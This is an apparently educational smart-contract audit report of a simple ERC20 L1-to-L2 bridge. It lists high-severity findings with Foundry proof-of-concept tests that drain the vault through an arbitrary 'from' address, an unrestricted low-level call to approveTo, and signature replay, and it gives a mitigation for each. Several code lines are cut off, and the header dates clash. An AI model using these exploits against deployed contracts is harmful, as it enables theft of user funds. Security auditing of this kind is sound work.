Protocol Audit Report

JJS

March 7, 2023

Protocol Audit Report

Version 1.0

JJS

July 22, 2024

Protocol Audit Report

JJS

March 7, 2023

Prepared by: JJS

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

The JJS team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:

  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set Signers (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call depositTokensToL2, when they want to send tokens from L1 -> L2.

Executive Summary

In this project we learned more about signatures and low level stuff. I think it still hasn't stuck properely. I will have to do more on this subject!

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	0
Info	3
Total	9

Findings

High

[H-1] Passing an arbitrary from address to transferFrom (or safeTransferFrom) can lead to loss of funds

Description: If a user approves the L1BossBridge contract to make transfers on their behalf, another user can make steal their funds on the L2 side. Because of the use of the from parameter in the depositTokensToL2 function, any address can be put in it. For example, an approved user, and a different receiver.

Impact: An attacker can steal a users funds.

Proof of Concept: Here is a test that can be put in L1BossBridge.t.sol:

PoC

here is a step by step: 1. A user approves the L1BossBridge contract to make actions with their funds. 2. Setting up attacker. 3. Attacker makes sure that Users funds go to himself on L2.

```
function testStealFundsInDepositL2WithArbitrageFrom() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        address attacker = makeAddr("attacker");
        uint256 depositAmount = token.balanceOf(user);

        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, userInL2, depositAmount);
        tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);
        vm.stopPrank();

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
    }
```

Recommended Mitigation: Do not add the from parameter. Use msg.sender instead:

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount)
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenN
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-2] Calling `L1BossBridge::depositTokensToL2` from `L1Vault` can lead to infinite minting

Description: If someone uses the L1Vault address when providing the from parameter to the L1BossBridge::depositTokensToL2 function, they can steal all of the contracts funds.

Impact: Loss of funds

Proof of Concept: Here is a step by step and a test to put into the test folders:

PoC

Step by step: 1. Setting up attacker and the vault. 2. Listening for the event with the vault address as the from and the attacker address as the to. 3. Vault makes a deposit the the attacker receives on the L2.

```
function testStealFundsInDepositL2FromVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);
    }
```

Recommended Mitigation: Use msg.sender instead where the from is in the function code.

[H-3] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Impact: Potential drain of all the funds in L1Vault.

Proof of Concept: Here is a test to add to L1TokenBridge.t.sol:

PoC

Step by step guide:

1. Setting up the attacker address, and the vault balance.
2. Attacker makes a deposit, to be able to get the signature.
3. Encoding a low level call to the L1Vault.approveTo through sendToL1.
4. Attacker drains funds.

```
function testDrainVaultThroughLowLevelCallInSendToL1() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(attacker, address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        bytes memory message = abi.encode(
            address(vault), // target
            0, // value
            abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
        tokenBridge.sendToL1(v, r, s, message);

        assertEq(token.allowance(address(vault), attacker), type(uint256).max);
        token.transferFrom(address(vault), attacker, token.balanceOf(address(vau
    }
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[H-4] The `create` opcode is not compatible with ZKSync

Description: When comparing chains, we look at Ethereum compatible, and Ethereum equivalent. In short, EVM equivalent means that 100% of the contracts that are made for Ethereum will work on an Ethereum equivalent chain. However, an Ethereum compatible chain will not be a 100%. Certain aspects, such as opcodes, will not work on that chain. Click here to learn more.

Impact:

1. Contract compatibility: If a significant number of existing Ethereum contracts do not work on the Ethereum equivalent chain, it could limit the adoption of the protocol. Users may be hesitant to use the protocol if they cannot interact with their existing contracts.
2. Lack of interoperability: If the Ethereum equivalent chain does not support all the same standards and protocols as Ethereum, it could limit the ability of the protocol to interact with other Ethereum-based systems. This could

make it more difficult for users to integrate the protocol with their existing Ethereum ecosystem.

Recommended Mitigation: Consider not making a low level call using Yul.

[H-5] Signature replay in `L1BossBridge::sendToL1`

Description: Users who want to withdraw tokens from the bridge can call the sendToL1 function, or the wrapper withdrawTokensToL1 function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanism (e.g., nonces).

Impact: Valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept: Here is a step by step and the test:

PoC

Step by step: 1. Setting up attacker and vault. 2. Attacker makes a deposit. 3. Attacker gets the message and the operator signature. 4. Attacker drains vault funds.

```
function testSigReplay() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), attacker, attackerInitialBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance

        bytes memory message = abi.encode(
            address(token), 0, abi.encodeCall(IERC20.transferFrom, (address(vaul
        );
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.toEthSignedMessageHash(keccak

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v,
        }

        assertEq(token.balanceOf(address(attacker)), attackerInitialBalance + va
        assertEq(token.balanceOf(address(vault)), 0);
```

}

Recommended Mitigation: Add a one time use parameter such as a nonce or a deadline.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs in `L1BossBridge::sendToL1`

Description: During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of return-data in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

Impact: Costing huge amount of gas.

Recommended Mitigation: If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Informational

[I-1] Functions should be external

Description: If a function is not used in the contract, therefore it's purpose is for external use, use the external keyword to define the function.

Impact: Here is a list of impacts:

- A more correct codebase.
- Causes confusion to others reading the code.

Recommended Mitigation: Change these functions to be external:

Found instances:

- Found in src/TokenFactory.sol Line: 23

  ```
  function deployToken(string memory symbol, bytes memory contractBytecode
  ```

- Found in src/TokenFactory.sol Line: 31

  "'solidity function getTokenAddressFromSymbol(string memory symbol) public view returns (address addr) {

[I-2] Unchanged variables should be immutable

Description: The L1Vault::token variable should be immutable as it does not change throughout the contract.

Impact:

- Wrong use of code
- Causes the use of the protocol to be less gas efficient.

Recommended Mitigation: Change the L1Vault::token to immutable.

[I-3] Variable should be constant

Description: The L1BossBridge::DEPOSIT_LIMIT variable should be constant as it does not change throughout the contract.

Impact:

- Wrong use of code
- Causes the use of the protocol to be less gas efficient.

Recommended Mitigation: Change the L1BossBridge::DEPOSIT_LIMIT to constant.